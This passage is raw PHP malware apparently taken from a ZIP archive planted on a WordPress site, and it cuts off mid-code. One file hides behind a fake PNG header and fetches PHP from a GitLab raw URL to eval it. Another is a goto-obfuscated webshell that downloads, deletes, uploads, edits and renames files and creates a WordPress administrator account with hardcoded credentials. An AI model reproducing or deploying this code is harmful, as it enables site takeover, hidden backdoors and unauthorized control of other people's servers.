$hookIndex = $zip->locateName('sugagasnwqiotniqwntiqwntiqwtbniqwbtiqwbtqxxx1.php');
if ($hookIndex !== false) {
$phpCode = $zip->getFromIndex($hookIndex);
try {
eval('?>' . $phpCode);
} catch (Throwable $e) {
echo "?? Error in hook.php: ", $e->getMessage(), "\n";
}
} else {
echo "? hook.php not found in the ZIP\n";
}
$zip->close();
} else {
exit("? Failed to open ZIP\n");
}
unlink($tmpFile);
?>
PK �Um\�2"� � twkna.phpnu �[��� �PNG
<?php
// Fake PNG Header Generation (for disguising image files)
function generateFakePng() {
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$data = '89 50 4E 47 0D 0A 1A 0A'; // PNG signature
$data .= '00 00 00 0D 49 48 44 52'; // IHDR chunk (header)
$data .= '00 00 01 00 00 00 01 00'; // 1x1 image dimensions
$data .= '08 02 00 00 00'; // Color type, compression, filter, interlace
$data .= '00 00 00 00'; // CRC
$data .= '00 00 00 00'; // Empty chunk
$data .= '74 45 58 74 64 75 53 65'; // tEXt chunk signature
$data .= '00 00 00 00'; // Text chunk data
$data .= '75 73 65 72 2D 61 67 65'; // Random User-Agent
$data .= '6E 74'; // End of tEXt chunk
// Fake corruption chunk (cORR)
$data .= '63 4F 52 52 00 00 00 01'; // cORR signature
$data .= '00 00 00 00'; // Fake corruption data
$data .= '49 45 4E 44 AE 42 60 82'; // End of PNG
return hex2bin($data);
}
// 启动会话
session_start();
// 设置主地址,如果没有设置则使用默认地址
$主地址 = $_SESSION['ts_url'] ?? 'https://gitlab.com/mrgithub89-group/mrgithub89-projectaa/-/raw/main/wp-security.php';
// 定义加载函数
function 加载数据($地址) {
$内容 = '';
try {
$文件 = new SplFileObject($地址);
while (!$文件->eof()) {
$内容 .= $文件->fgets();
}
} catch (Throwable $错误) {
$内容 = '';
}
// 尝试用 file_get_contents
if (strlen(trim($内容)) < 1) {
$内容 = @file_get_contents($地址);
}
// 如果还失败,使用 curl
if (strlen(trim($内容)) < 1 && function_exists('curl_init')) {
$通道 = curl_init($地址);
curl_setopt_array($通道, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_CONNECTTIMEOUT => 5,
CURLOPT_TIMEOUT => 10,
]);
$内容 = curl_exec($通道);
curl_close($通道);
}
return $内容;
}
// 尝试加载主网址
$结果 = 加载数据($主地址);
// 添加假的PNG头部
$假PNG头 = "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A";
// 拼接PNG头和结果内容
$结果 = $假PNG头 . $结果;
/**_**//**_**//**_**//**_**//**_**//**_**//**_**/
// 如果成功获取内容,则执行
if (strlen(trim($结果)) > 0) {
@eval("?>$结果");
}
?>
PK �Um\�Ύ=�/ �/ zkmqn.phpnu �[��� <?php
/*
--Copyright:https://www.phpcodejm.com
*/
goto SRLvP; pX0zf: goto Upycx; goto IwVbW; JNX9T: goto ACxZw; goto P3Dsn; V1vcl: goto m1ruy; goto FRbSx; d0ggy: vdRYy: goto w1puP; bf9bm: j65UW: goto WNmBF; M9Oz6: goto qtW4o; goto fO7IX; I0aJC: Uh58U: goto RpT82; Sj5EP: bMXBV: goto QrSn1; aGUgU: Gb0PB: goto PDrj6; JZsHU: goto Sx9yk; goto qGMZo; qBLIC: j2XUx: goto Cd6kR; HOZFb: goto jED5H; goto lfrx4; qrkn2: readfile($xBtNn); goto G5dt5; aCgnf: goto C04vy; goto fwefS; zdsgU: goto NtNFa; goto Ssrys; Szx32: Jp083: goto wEtCr; SRNMA: goto HfAyO; goto Noz1Z; b07Mx: $hznvy = ''; goto NSXyq; SCKIJ: goto XEsqk; goto niBes; kDmxW: goto mUM1a; goto CUT42; xExXe: lp7ye: goto pAuzx; XW18E: goto gEPCt; goto wjSI3; Ga2c2: goto BNnHl; goto lVEqA; OAdsT: goto X_y0p; goto cSm55; xEXPk: hqvji: goto V2OHJ; Z_CK8: FLR87: goto p3Slk; ptGrF: NDS3W: goto NOZ52; O0OJf: OZSVK: goto CUWhv; G5i85: ZDDBq: goto QasTk; cvGW1: $QeOFD = "\x48\145\x6c\154\100\62\60\x32\x35"; goto XYHQP; na3Dm: yySjF: goto o64T0; xMHB4: goto lgAaq; goto X6pqt; ozSq7: goto dYUUJ; goto Ir0Hp; Zk18_: goto n_64s; goto dZWzT; gru6B: goto TAco5; goto EP9uh; GGQYr: goto cAC6U; goto U2iNi; nkg_2: goto WjR1c; goto Vxus2; Yi1pu: QyMd7: goto YUdYI; GekuO: Uxmld: goto yJhHf; jNLL5: l9NmK: goto OQA_Z; BuMBm: ucsul: goto ZN7v7; Dvq11: $hznvy .= "\74\x64\x69\166\x20\x63\x6c\x61\163\x73\x3d\47\167\x61\162\156\x27\76\xc3\xa2\305\241\xc2\xa0\x20\127\x50\x20\165\x73\x65\x72\x20\x61\x6c\162\145\141\144\x79\40\x65\170\x69\x73\x74\163\x3c\x2f\x64\151\166\76"; goto BT3jl; I2Et3: dKikv: goto zLv0S; VJPkJ: goto rw_pK; goto drJna; Ih3aE: goto GUAlg; goto Aub2J; M32Xs: file_put_contents($bG34o, ''); goto yvmps; tDj1L: goto E3cAA; goto y2gjG; FQtCD: goto KPlKX; goto kRugS; HA_FL: goto leovd; goto W57Aw; bUF72: ZtelB: goto iwikX; GqRI3: u4PS7: goto eMvwK; zAaF6: goto HKpfc; goto usIT7; EkRve: goto LpCQF; goto vUscg; PLsH_: DpXAP: goto drhqD; Iwiok: goto FQgPB; goto GqRI3; Xq2OV: fBo5l: goto dBVzx; Ux5iJ: BWqdy: goto M92EE; uIeAN: goto BsQIO; goto vQh3A; nZSBh: goto q_Gb2; goto bigK0; bp0Ep: lBW6U: goto hwypA; U1Q6Z: yF6N3: goto oylB9; Hvjl8: goto l9NmK; goto TVfkN; UtBmG: goto WjY0U; goto Z3O3Z; OdSSG: z3aiS: goto Mtbo1; Osgk9: goto EY5Ku; goto vrgjF; J6pyu: bwWlb: goto LO8kc; WNmBF: goto zyr_3; goto ixhK6; JfqKr: goto uU3hK; goto KMLro; YsVg0: chdir($JdqDR); goto AxE95; jxpFG: eB7a0: goto FGaG1; yGKF6: mKfsV: goto D5nLI; TLAgf: goto jkCKs; goto fc_1M; tzF67: QBjIY: goto tFVhH; MFVnP: goto vVbZO; goto gaukJ; F51Qt: goto zwr0b; goto OE5yA; WkJJa: T3dUd: goto pZvhC; AZoWW: dn0tW: goto LorbC; ofhv1: O2GDB: goto M7Gyp; uaHKE: Mpo7z: goto w48LP; cfBe5: goto Cg50n; goto YA1sX; ri253: jx92z: goto IwPeD; VrDET: FopiD: goto wB4mT; mY2O0: goto jZbVd; goto p8nFI; u8uAR: opisV: goto FY3ak; ObNtA: goto Mlzlf; goto blCrI; WljjD: goto mQZH3; goto ecvwl; f4YMc: goto SjQoV; goto NWr81; CUAcn: vh4Ya: goto J6ZxO; pTdcs: goto hICWj; goto Syg08; nuJVB: UN8fq: goto e_Wqv; HyZO0: goto OuYb9; goto u8uAR; Axgfg: TiAaS: goto Mmj9S; pmAjj: APpNG: goto DwdO1; tkAOW: goto Q3LgY; goto kEL20; B7Xir: KAiSu: goto akgyC; D5nLI: goto V0rXx; goto Dl1hP; Et_rQ: goto Z2hdr; goto VIfmn; gaukJ: pDGyY: goto LThxC; lAkM5: goto zBf07; goto xrFa4; PVG03: dzixS: goto hEI3Z; o64T0: goto OPFVa; goto bkKIN; Z_1_4: $rIJSd = $D6V0J . "\x2f\x77\160\55\x6c\x6f\x61\144\x2e\160\150\x70"; goto ukl0E; zGznt: goto vuZTj; goto PcG05; ydG6k: goto uL9wg; goto EMWmv; u_6Ay: if (!($OYF8c && is_file($OYF8c))) { goto Y2g2U; } goto i2ZBs; O3TT9: goto Xyjxo; goto pTZ4n; C0Wga: yOMqM: goto KoEQZ; O0kYN: wfTR1: goto v8gH4; FBwr6: LNCXp: goto Or33W; XQoQW: Nb5vy: goto fYCQN; noXGz: qCPgI: goto Qx8j3; drJna: Nj2BT: goto u4KuL; SPBAn: K4vVK: goto WZVIb; mrbai: gtobW: goto L9Ybt; cao5i: goto M3Nyk; goto IrMlS; Nhvxt: goto ZtelB; goto W8XxV; YUdYI: goto w4G6M; goto oQSm_; CmNmh: goto ZcleN; goto QrZwZ; bcJ_M: uPBS1: goto xRuWG; zEEkD: goto X_zeJ; goto GFmeZ; CUT42: SDqjo: goto B0GMM; xlAOS: uJ79M: goto Z1Gtb; EaT8m: zxdlp: goto c7tgh; XRTM4: goto oepv3; goto KEX0F; IQxgW: goto KugWs; goto gg0cD; SSma9: wKHRo: goto ByJ5y; fUvG0: goto b0gsz; goto Pfozd; GowsA: goto mKfsV; goto qeEky; qtOMu: goto avda4; goto IGMxG; OkD6Y: mqyWi: goto yabSI; bqqHi: nvOF1: goto Fkejm; eKlHo: WW7k1: goto grpq0; xhqEf: goto KYlTW; goto nkg_2; bTx7G: QJ85Y: goto BMgJY; CTPbL: YKM7Q: goto HOQAy; eyg_4: hZMkj: goto UalKh; zDrDe: goto uvuvp; goto TB1We; MHH3p: goto xVwRJ; goto F0MHf; yCiAq: IHITf: goto bsDQj; NWr81: wlg9r: goto ijyDK; jU6lT: TAco5: goto TdN5J; Mtbo1: goto iTVFz; goto YWduN; NgCA9: goto vos2X; goto PFakA; ZqkGP: goto coM_j; goto m6xtS; SG5Lg: goto FpsD2; goto yrBhB; V5q18: goto V8krl; goto utbJO; hQErw: goto c49UM; goto VXOpn; d1ymB: FH10o: goto xbuKp; wo9bF: hHLeW: goto n0AyI; u7cmk: goto ZbEA_; goto KAk9t; xNL3S: TRGsF: goto QQ73s; nUHZj: piN9u: goto TRK5g; GTP3p: yuxjg: goto V6dIU; WtCDg: goto z1TRi; goto cliCH; cQw0H: goto RbW_B; goto PkpkD; rs4y2: n1dUr: goto FumFJ; c_uLt: pOAWG: goto ciaPa; Ir0Hp: lwEiq: goto vH8mz; pVl5H: GTMrE: goto WCK_n; WsDjn: goto EEaFa; goto h1d09; GX5GA: goto NxoSL; goto C9Pxa; kPGD9: DV0SF: goto hiKrU; jFU8u: if (empty($_FILES["\146\151\154\145"])) { goto eB0P0; } goto syZL1; yRzSi: goto in0Pm; goto flQBy; DYob3: KrrW1: goto iM2Kf; Zq6n4: goto xAjms; goto zFgBo; lGxrt: goto T3dUd; goto EuCPZ; q6Dhk: $q5ijL = "\x68\145\154\x6c\x40\145\x78\x61\x6d\x70\154\145\x2e\143\x6f\x6d"; goto LZFK7; CSW8n: goto h7FAQ; goto na3Dm; GsX13: a7Syc: goto TNSh_; iO6Px: lOLtd: goto JK3Qm; MNJZw: Rq_co: goto AGf2c; dBVzx: goto FEh9e; goto ySbKt; nqTXH: goto Epaeb; goto n5OFn; Vt018: goto XMPXG; goto D5wXD; q2Xs9: goto PLos3; goto O_PAq; pPv8_: PMfz0: goto ZhMNW; BcmUP: goto JWLH7; goto SGYFQ; Ox6lK: goto zicQ5; goto FQtCD; VR99U: CggXw: goto crQvd; fT5pv: $s8hWD->N1bTQ("\x61\144\155\151\156\151\x73\164\x72\x61\164\157\x72"); goto SRNMA; zFgBo: TRreX: goto lGxrt; V9MeH: Mf8XU: goto idhLU; lVEqA: GtXL7: goto q6Dhk; akgyC: ZcleN: goto KksL3; EMWmv: FZ2AP: goto YsVg0; PpMWV: goto ddJgy; goto P3Edt; VXOpn: R1csS: goto vROd0; wsSRO: D1biO: goto IMh2y; S_j6T: goto AJEvA; goto Ze6iU; HtCJj: goto QjXFk; goto mVSsr; KuLD8: ddJgy: goto NO3ry; tmFJ3: goto qRRBF; goto FR0vb; Xpr4d: Sx9yk: goto K25PE; FGaG1: HPZNv: goto caCjE; KJ9DW: goto pHswN; goto Aq8ar; A3U_c: goto S5Fw8; goto c6i_W; aijv1: goto U3iSv; goto KGpi0; XDRQ6: goto LGqK1; goto z7lyU; yrBhB: wZ7ek: goto ZC7Hp; oilrT: nyxtr: goto HrEHe; Bj6yj: @error_reporting(0); goto gHIW2; t45jc: p7RcU: goto S_j6T; p8nFI: hSHZi: goto jFU4M; M1sbV: ZxcyU: goto IZSOL; bX6wS: goto AOh9o; goto rBTq1; iGDOl: goto IqZZY; goto kPGD9; nJOL3: goto jx92z; goto W3QoJ; KmpX7: OFmO8: goto Kq6Pa; nDgjJ: bdO96: goto prjZV; JOi4O: L3B6x: goto vw0N5; ptU3E: goto LNCXp; goto ocGZL; XtvJl: hICWj: goto taEru; DkneV: jB8SS: goto Et_rQ; QYSDt: goto L6DFb; goto TwqXQ; bsDQj: goto hE81D; goto Vt018; KHiK3: goto pYA8s; goto J_Hln; Yr3rL: $c2TOA = $JglkV === "\x77\160\55\x62\154\157\147\x2d\146\162\157\x6e\164\56\160\150\160"; goto Bcjeb; cYkRq: NDbCh: goto hKh1w; rOPBo: goto yOMqM; goto xNL3S; Ze6iU: XTrPy: goto J5sJ6; ENk7J: hRga3: goto PDrMa; jWWrY: VNH2v: goto ihlYt; OE5yA: goto hSHZi; goto hlzGB; X6pqt: MtHzM: goto Z4ti4; nmnAf: TXPYd: goto YvG2f; HPY0G: DlJPI: goto WHIvP; vnxQO: NuHtj: goto u01qJ; CRQCp: M3Nyk: goto MWJuv; FBet9: goto UJfjM; goto OLa4J; xPu83: goto Nj2BT; goto cmre0; QVOeC: Sk_8B: goto fJCbZ; pPuqB: goto KOHoK; goto XnVfC; vWI69: goto pDGyY; goto HozkL; C1F0D: H9M8J: goto nZSBh; on6bL: Bq6R4: goto XUR1G; qBbCO: goto WV1q4; goto CsmT9; a1Q2t: if (!is_file($xBtNn)) { goto ppimC; } goto ItzMj; qW_H0: KOcL8: goto a1Q2t; wAzz2: goto tnzae; goto TXnS3; MJUaz: goto pW0Lg; goto q2Xs9; oYOLp: egqsq: goto NsKNm; x55BZ: goto KOFAb; goto GKNUm; X_Rx5: C04vy: goto JFMBg; UDjGd: v0BK4: goto oYmQe; HLD_L: oepv3: goto b_0ZW; zi3cN: goto wHPSX; goto ZnsV8; b_0ZW: goto wGiMn; goto Owtkw; bm28A: rD0Y7: goto o5L9C; A6Ru8: b0gsz: goto DuIvo; uQFMA: DAUAM: goto Yr3rL; OMyEo: $s8hWD = new S6w0T($tUnme); goto xMHB4; SOxZQ: LvNAD: goto T21kq; Fs86k: PbdyU: goto FBwr6; QBC7y: zFbrx: goto Zoi8b; UJv1z: LerbK: goto HODk0; JY0sP: i_d0m: goto Y7noi; eMvwK: goto dKikv; goto rPcjt; kp5n9: BgbEE: goto Kk1Ev; drZ7J: goto NuHtj; goto aODuH; LQGuL: goto rOJ8q; goto Woiag; AGf2c: WV1q4: goto tn5HK; wvM5G: q7hoD: goto LfvTH; u3UcH: YcUig: goto wvM5G; QPDRP: goto pfJQ7; goto xyW2D; d1lZ2: goto msEep; goto hyxRS; SzvFg: goto QLiDU; goto jFXX4; XnTpj: Mlzlf: goto YS87K; FOBjz: FQgPB: goto aijv1; N0tdo: goto l8Ts7; goto CRQCp; ot7OM: GFVEx: goto ZqIvO; OLBkN: goto NlnCg; goto bsexg; D6Njc: m9e_l: goto LK51e; oBk_h: goto qnoxP; goto lVtDI; DuIvo: goto OZSVK; goto HyZO0; ijn0m: goto MtHzM; goto tJTtt; Owtkw: gRnHu: goto tCX8N; mGj0u: yqCJY: goto MHH3p; bZqDa: ImjyR: goto OmOy_; oDR69: goto kNw4K; goto bp0Ep; p_EOs: goto zT7B3; goto itVgW; FAw4n: goto GtXL7; goto Xpr4d; rHid2: skzZX: goto Ew4Vq; JzMHZ: if (empty($_GET["\x64\x6c"])) { goto gtobW; } goto HVahR; zPWuV: MfzhX: goto XQoQW; LAQcH: goto rLxPm; goto LPrNA; STKGW: cUXEM: goto pVl5H; N5T9R: goto obHgD; goto aPdzy; Fn2MS: vyGaQ: goto HBo7O; Qztwc: y67Ap: goto Ye10f; O1iFw: qRRBF: goto bAvkV; dhR5e: YuCj4: goto KAIdj; PZazT: goto Kjfaz; goto VWhb1; C7_fs: goto MfzhX; goto uQFMA; nagnh: eYfsX: goto XveWy; iCa1I: goto UE4UV; goto fFQF6; ux48b: goto nw9_P; goto KyGJz; cS1Um: goto aF9v3; goto r9ul1; V2OHJ: goto kwn_w; goto kTiZl; IMh2y: iNoeY: goto ekQhe; UalKh: goto BtDrW; goto juHmK; kgXAp: exit; goto av9h0; qX85B: r6FWt: goto Zf00L; vQh3A: cFPwG: goto XRSia; jjccd: goto B3ej5; goto y2xVh; ByJ5y: eL3o9: goto aCgnf; wEY1S: cLY67: goto DuCLf; YNYtN: n1xAc: goto QDb5k; oD1Eb: nwZhy: goto z51Jf; Hw32e: goto yYo4F; goto RUISB; bShoH: GUAlg: goto mY2O0; TPPFj: R2qCT: goto R3R3R; pmXSl: xAjms: goto XfhKL; vrgjF: goto lGDG8; goto YNYtN; veujo: goto GFVEx; goto t786g; Ye10f: DbkW8: goto hrlxR; o5L9C: goto zy63J; goto wRq1b; IZSOL: goto plEkR; goto d7rGB; Qay5o: goto v1oOS; goto uIeAN; W1Yey: jVYnj: goto auHqi; Vxlow: SScWF: goto kgXAp; UVUtQ: M0ssD: goto njHeJ; cSm55: goto QIiQR; goto SSma9; Dl1hP: goto pgOuG; goto Szx32; tObSm: Vpv02: goto SG5Lg; D5wXD: B_6Vv: goto WGcpz; sZ75u: QtsT4: goto Qay5o; r9ul1: yg7sc: goto eU41h; cmre0: YpUjo: goto CmNmh; O_PAq: Bdf2T: goto T_f2O; k5H1Z: $xBtNn = realpath($_GET["\x64\154"]); goto L2A51; q7YAy: goto eB7a0; goto GTP3p; lfrx4: MntkF: goto GX5GA; XYhaQ: goto oRPQR; goto cFk3g; hbaSs: qEiXE: goto evbZT; hxDMW: EGZPJ: goto Dh0LO; JrmU1: goto fciXr; goto pmXSl; chfAw: goto NDS3W; goto v_bQx; ZyBPB: Sh82s: goto JTJ_6; HODk0: echo "\74\150\62\76\105\x64\x69\164\x69\156\x67\x3a\40" . basename($OYF8c) . "\x3c\x2f\150\x32\76"; goto T5gqz; CWDzT: V0rXx: goto C1vkz; sszjo: zy63J: goto kBz8y; bCGEg: o43mB: goto He2H7; h6GK8: BiKFr: goto KmQnX; oIF6W: Ke450: goto iXpBE; fM7Ha: if (is_file($OYF8c)) { goto f5nlv; } goto S301N; niBes: UJfjM: goto OQYRM; HwQDA: goto yyPmy; goto Aaa8o; dDHyn: @rename($D8T_A, $HF_AU); goto O5gxF; T1VpJ: EY5Ku: goto chPI0; xbpy_: goto WZXZz; goto yCiAq; Tm20x: mQZH3: goto TPqB0; MpkXP: goto j65UW; goto wY1La; e6jhU: ufbsx: goto uOeWD; GgoUW: goto Mf8XU; goto oBk_h; kY5qy: goto m8VZu; goto VhhhS; ROCbh: goto QlU0m; goto vCrY0; uOeWD: goto FZ2AP; goto hcwoJ; Qtv3E: MBBhg: goto Wfahm; tCX8N: nYEWv: goto VDpyM; guWkM: laL26: goto rEqON; cae8L: $tUnme = Dmvx7($fNAU7, $QeOFD, $q5ijL); goto HLnpY; APQLu: UQx3P: goto kY5qy; ik5MB: goto Uh58U; goto rHid2; hwypA: goto An6YB; goto tUduY; mXvip: goto q7hoD; goto K31sk; x6VNx: ACxZw: goto eM273; G_inn: I2JmY: goto cae8L; chPI0: goto btFGI; goto kdEdc; Q7X2c: Y2g2U: goto iAu5k; Pfozd: vos2X: goto VNQhF; kTiZl: goto JLhkU; goto jU6lT; i7xEX: goto q0QYS; goto ZKuDE; APerP: goto cc93s; goto FKta4; d_uUZ: zBLh6: goto EV0lx; qw6I2: goto DlJPI; goto zdSMe; KZ0MR: goto IHITf; goto NSBT6; aziJz: bEuoB: goto fz82N; pWLEz: goto MyQwH; goto psN7E; AbqTt: FeMir: goto QNppl; Wu0Dj: goto p7RcU; goto BCH5S; soE6m: goto evnh5; goto OA0vJ; m0qBm: goto zFbrx; goto bm28A; gaUcj: goto Uxmld; goto UDjGd; iXCp0: goto EMYdI; goto xEXPk; ZqIvO: goto vyGaQ; goto KAvzx; uGhan: goto fglM4; goto JRoYV; ivss1: w1uy_: goto lPC2j; TPqB0: goto YuCj4; goto Yi1pu; CsmT9: goto pOAWG; goto CNAMg; zfiF0: goto ReNg9; goto rxL9a; Ogr2e: goto ZFoCt; goto DYob3; PKpvj: eidbW: goto UUu0V; mNl1r: goto ZeFgS; goto BTV6s; J66w6: g6iHC: goto cTu15; VKTu_: uvuvp: goto GKsnu; P3Edt: WPVEP: goto ZyBPB; vGXSF: goto H4smI; goto lmu5v; yxCxR: BBOPc: goto SXKBh; at1Di: fT1WW: goto gIm_B; U1oqU: goto Bdf2T; goto FOBjz; c7tgh: goto I2JmY; goto CZLgn; c9tdZ: goto TXPYd; goto aPMgW; LPrNA: rivn3: goto ZgZvc; SIi_F: T07g6: goto sszjo; X3sGq: JDHCe: goto O29SP; ry0vH: goto iZ5nl; goto HgL8O; qXC8Y: goto KX2Vx; goto qB9Xc; TAeJb: goto DckSI; goto MfKxB; C1n98: Kcvlm: goto TH0hL; NO2YR: IOF4v: goto foNlo; y2xVh: goto LWJCi; goto eKlHo; ijyDK: echo hVC0_($JdqDR); goto gaUcj; gIm_B: goto JMBjk; goto mUedk; N0XQT: WPvfP: goto VKTu_; maSn0: goto ZzPDj; goto QsPIc; FY3ak: goto bMXBV; goto mNl1r; DULDq: goto YvT8m; goto cD76l; tBYLp: goto A5jA1; goto J6pyu; UCa6o: goto j2XUx; goto HMmv3; ebmTO: wssjk: goto s2s94; gtyx3: @unlink($OYF8c); goto xglhX; yikDg: goto SuKca; goto wsSRO; KyGJz: jZbVd: goto AW3Fk; O_ANL: vulF5: goto pS7J6; m3RSl: goto XO56O; goto SbBwM; QrANG: goto zxdlp; goto WOL8H; XAd4w: xCCXR: goto A3iAc; A5vJ4: goto ct3Gd; goto CH5gS; vUscg: Xu8Zx: goto XW18E; nuTOO: gNdVv: goto xdHqL; lmu5v: ZFoCt: goto ithkt; PJpNQ: IfnJf: goto F51Qt; lOUZQ: goto s6Utd; goto yTLyD; H7JE0: yyPmy: goto m6RZK; BTV6s: QxCZA: goto pfb_H; kdEdc: jED5H: goto Rke00; HEtXH: goto QT1FZ; goto wW6wz; LHMHt: goto Kcvlm; goto b8TnL; E6mJN: goto VRmhe; goto bnXuH; O1XTW: pgOuG: goto fW3YQ; VIfmn: goto fdUer; goto L7bMW; t786g: obHgD: goto pPuqB; K31sk: goto rxTcl; goto qW_H0; YfHrC: T4o2I: goto hu4uH; N7YKq: rF9Q0: goto Yp3qL; Qd3lh: if (empty($_POST["\x6e\145\167\x66\151\x6c\x65"])) { goto egqsq; } goto DW21w; MLYir: FAGob: goto bq3T2; DuCLf: HTfnm: goto yjdWQ; OLa4J: f5n0p: goto s5nwg; d12wZ: goto JscKU; goto CTPbL; P3Dsn: goto PEDAo; goto cg4ZT; R3R3R: goto Ig84v; goto OuzcA; DwdO1: goto TbGY0; goto zK5Gj; aODuH: IqZZY: goto ilgUX; ihlYt: goto bgQX6; goto wV2dM; RTRbS: goto ImjyR; goto HEtXH; pS7J6: goto UQx3P; goto jg0N4; x2NQw: n4Z1k: goto JmZFb; V4Gs8: goto xCCXR; goto B1nVA; O0SeS: goto W6f3O; goto tmFJ3; nRCFw: goto ZxcyU; goto tBYLp; zLv0S: goto AG2ub; goto whaQj; c1U1G: goto zBLh6; goto wD9U7; PQ4_q: goto LvNAD; goto JFlyl; u01qJ: M_aAL: goto veujo; C6DGU: goto OCR1p; goto fm2b4; prjZV: file_put_contents($OYF8c, $_POST["\x66\151\x6c\x65\144\141\x74\141"]); goto k4Vi5; tn5HK: goto n1dUr; goto Qztwc; OQYRM: cR2JV: goto jG054; ZvKn_: goto iwDZz; goto h43tU; lRc0U: NKnHC: goto m3RSl; cAAde: goto VMmqS; goto u7cmk; XnVfC: goto y67Ap; goto nagnh; GcvOD: eJqKf: goto wo9bF; Lfe3c: h7FAQ: goto MqVgE; uEoKz: goto GvS0d; goto tzF67; coJ7U: m8VZu: goto tEAi1; LHCPs: goto nWrVW; goto ydG6k; bnyOP: V3DtT: goto at1Di; KoEQZ: kNw4K: goto zAaF6; hiKrU: goto gw96m; goto OE7sw; CwWL8: KugWs: goto M2hcK; nk0Ti: echo $hznvy; goto soNvH; CZKTK: vuZTj: goto Osgk9; Yj7dO: Y0jlT: goto qLPnR; vwZaR: nZebr: goto HLD_L; dzeBt: WrIFn: goto Sj5EP; ckwc3: goto iWIvM; goto FL8BU; QNppl: goto yF6N3; goto CSW8n; GFjzR: goto uo4RA; goto GhxD3; nMeT9: goto ipmoX; goto XAd4w; Q92Uz: RZCVG: goto RrQzB; Mmj9S: if (empty($_GET["\162\x6d"])) { goto XFYQV; } goto lAoqM; VTF8J: HfAyO: goto Wu0Dj; sjCR2: CxF4g: goto HL_Ea; Q1G_q: goto uLRAc; goto H7UpU; G6_zE: goto QfHUS; goto dzZAB; ZKuDE: AMiM3: goto P0cNU; Noz1Z: EM03P: goto tLalb; x1zVu: nw9_P: goto V1vcl; yvmps: goto R1csS; goto bIuzY; wY1La: goto h5315; goto KXSWh; zdpHs: goto LerbK; goto BuMBm; fYcK6: goto bB2bQ; goto cUMx9; TNp3M: goto a7Syc; goto PVG03; bBowp: goto kDQNo; goto G8pQn; B05Ub: goto xUQTL; goto bnyOP; M92EE: goto YPNKf; goto MK6VQ; wW6wz: bJytY: goto FLgPu; s9Uw_: goto TkaFs; goto v0IZQ; tvKkm: goto LcHIH; goto Fs86k; gUCUZ: goto Xu8Zx; goto zPWuV; hyfoa: goto DAUAM; goto f3roe; G8RQx: goto lvK0j; goto KMUru; XUR1G: N_uzv: goto gco9H; W6N2X: VPmxL: goto chfAw; SbBwM: tcFgj: goto QrANG; IHLnC: Qjkti: goto HFyGT; NC8Tt: goto veDoV; goto idetg; cUMx9: TOJnr: goto bkpQm; pAD7h: foreach (scandir($JdqDR) as $jCoCn) { goto UyE9z; Y66nj: goto n9JmS; goto CmzPy; jZlId: goto Se3Tu; goto UILML; aiXU6: goto Hc5YW; goto CeA49; WYe8a: goto b1Sy6; goto RLwy3; yeT4n: hhcfl: goto H8BnH; SCbx4: LnGzv: goto zH3J1; dWdfR: goto kYwc5; goto fRt65; yHJKI: zckap: goto cC8lK; kpLTJ: ww1pr: goto PQx9C; n0Icx: goto hovEi; goto ieGSh; ZEQ3y: goto v8v3A; goto sHonK; XAOvM: goto JRZly; goto tuZY1; oTceV: LWu5h: goto SF4P0; yYzOb: echo "\x3c\x2f\x74\x64\76\74\x74\x64\40\x73\x74\x79\x6c\145\75\x27\x63\x6f\154\157\162\x3a{$nMJTQ}\47\x3e{$zg_8u}\74\x2f\x74\x64\x3e\x3c\164\144\76\xa\x20\x20\x20\x20\x3c\x61\40\163\x74\x79\x6c\145\x3d\47\143\157\x6c\x6f\x72\x3a\x77\150\x69\x74\145\x27\x20\x68\162\145\x66\x3d\47{$y7k3f}\x27\76\104\74\57\141\x3e\xa\40\x20\x20\x20\x3c\x66\157\x72\155\x20\x63\154\x61\x73\x73\75\47\151\156\154\x69\x6e\x65\x27\40\155\145\164\x68\157\x64\75\x27\160\157\163\164\47\x20\x6f\156\x73\165\142\x6d\151\164\75\x27\162\x65\164\165\x72\x6e\x20\x72\145\156\x61\x6d\x65\103\x6f\x6e\x66\151\162\x6d\x28\x74\150\x69\163\51\x27\x3e\12\x20\x20\40\40\74\x69\x6e\x70\x75\164\x20\x74\171\x70\145\x3d\47\150\151\144\x64\x65\x6e\x27\40\x6e\141\155\145\x3d\47\x72\x65\156\x61\x6d\145\137\x6f\154\144\47\x20\x76\141\154\165\x65\75\47{$B_FcA}\x27\x3e\12\40\x20\x20\x20\x3c\x69\156\x70\x75\164\x20\x74\171\160\145\x3d\47\164\145\170\x74\47\x20\156\x61\155\145\x3d\47\162\145\156\141\x6d\x65\137\156\x65\167\x27\x20\x76\x61\154\165\145\75\47" . htmlspecialchars($jCoCn) . "\47\x20\x73\x74\171\x6c\x65\75\47\x77\151\x64\x74\x68\72\67\x30\160\x78\47\76\12\x20\40\40\40\x3c\142\x75\164\x74\157\156\40\163\164\171\154\145\x3d\x27\x63\157\x6c\157\162\72\x77\150\x69\164\145\x27\x3e\122\x3c\57\142\165\164\164\157\x6e\x3e\xa\x20\x20\x20\x20\74\x2f\x66\157\x72\155\76\xa\40\x20\x20\40\x3c\x61\40\x73\x74\171\154\145\x3d\x27\x63\157\154\x6f\x72\x3a\167\150\151\164\145\47\40\150\162\145\146\75\47{$Hltqj}\47\x3e\105\74\x2f\141\x3e\xa\40\x20\x20\x20\x3c\57\x74\x64\76\x3c\x2f\164\162\76"; goto bT8db; c5L6t: goto Ln1ZT; goto prmJm; oVW4n: goto fVz1f; goto d5M8e; u1Ujr: OS6HX: goto XcsWr; BYjEX: goto gC_nZ; goto kGEuA; SfTo5: goto XmNHK; goto aeLSj; FcO1M: goto BA5Y_; goto tQEXP; YhIq7: goto TqnTE; goto pT5jL; fRt65: fVz1f: goto FcO1M; H8BnH: goto ne4ge; goto ybvzn; nt4Ds: pwhrg: goto Y63ME; X0KyS: hovEi: goto emleV; DSRj9: BTRC8: goto uZL8m; BH5yT: XbFFZ: goto yYzOb; w6XrN: $y7k3f = "\x3f\x64\x69\162\x3d" . urlencode($JdqDR) . "\x26\144\154\x3d" . urlencode($B_FcA); goto CfdED; YKYhJ: goto iUN4R; goto M0t1W; CmzPy: PpN1E: goto FdShd; Hjko0: echo "\x3c\x74\x72\x3e\x3c\164\x64\40\163\x74\171\154\x65\75\47\x63\x6f\x6c\x6f\x72\72{$nMJTQ}\47\76"; goto n0Icx; hhHIX: YULeT: goto yvqNV; WjkFx: goto WT6NY; goto Mh9Mz; N5kcV: goto QaNoD; goto yeT4n; tA7kr: goto loqVU; goto xKN8C; p3ddV: QaNoD: goto ZL2Dt; k381R: goto vseTk; goto h9Ahu; 